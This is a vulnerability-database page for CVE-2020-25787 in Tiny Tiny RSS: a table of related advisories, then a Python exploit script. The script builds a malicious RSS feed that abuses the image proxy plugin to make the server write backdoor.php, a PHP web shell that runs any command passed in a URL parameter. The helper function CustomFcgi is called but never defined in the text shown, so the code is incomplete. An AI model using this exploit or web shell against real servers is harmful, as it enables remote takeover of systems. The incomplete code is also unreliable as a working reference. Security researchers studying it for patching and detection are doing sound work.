| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| tt-rss -- multiple vulnerabilities | 15 Sep 202000:00 | – | freebsd | |
| CVE-2020-25787 | 31 Dec 202019:27 | – | circl | |
| Tiny Tiny RSS Remote Code Execution (CVE-2020-25787) | 5 Apr 202100:00 | – | checkpoint_advisories | |
| CVE-2020-25787 | 19 Sep 202020:18 | – | cve | |
| CVE-2020-25787 | 19 Sep 202020:18 | – | cvelist | |
| CVE-2020-25787 | 19 Sep 202020:18 | – | debiancve | |
| Tiny Tiny RSS - Remote Code Execution | 2 Mar 202100:00 | – | exploitdb | |
| FreeBSD : tt-rss -- multiple vulnerabilities (2eec1e85-faf3-11ea-8ac0-4437e6ad11c4) | 1 Oct 202000:00 | – | nessus | |
| Linux Distros Unpatched Vulnerability : CVE-2020-25787 | 27 Aug 202500:00 | – | nessus | |
| CVE-2020-25787 | 19 Sep 202021:15 | – | nvd |
# Exploit Title: Tiny Tiny RSS - Remote Code Execution
# Exploit Author: Daniel Neagaru & Benjamin Nadarević
# Blog post: https://www.digeex.de/blog/tinytinyrss/
# Software Link: https://git.tt-rss.org/fox/tt-rss
# Version: all before 2020-09-16
# Commit with the fixes: https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef
# Tested on: default docker installation method
# CVE : CVE-2020-25787
#!/usr/bin/env python3
from sys import argv
import base64
TTRSS_PATH = "/var/www/html/tt-rss/"
BACKDOOR_CODE = """
<?php
echo "success\n";
echo system($_GET['cmd']);
?>
"""
feed_file = open("malicious_RCE_feed.xml",'w')
filename = TTRSS_PATH + "config.php"
output = TTRSS_PATH + "backdoor.php"
backdoor_code = base64.b64encode(BACKDOOR_CODE.encode("ascii"))
rce = "public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=" + CustomFcgi(filename, output, backdoor_code) + "&text"
feed ="""<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Exploit demo - rce</title>
<link></link>
<description>You are getting infected :(</description>
<item>
<title> Check if there is backdoor.php</title>
<link><![CDATA[backdoor.php?cmd=id&bypass_filter=://]]></link>
<description>
<![CDATA[
Dummy text
<img src="{}">
]]>
</description>
</item>
</channel>
</rss>
""".format(rce)
feed_file.write(feed)
feed_file.close()
# 0day.today [2021-09-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation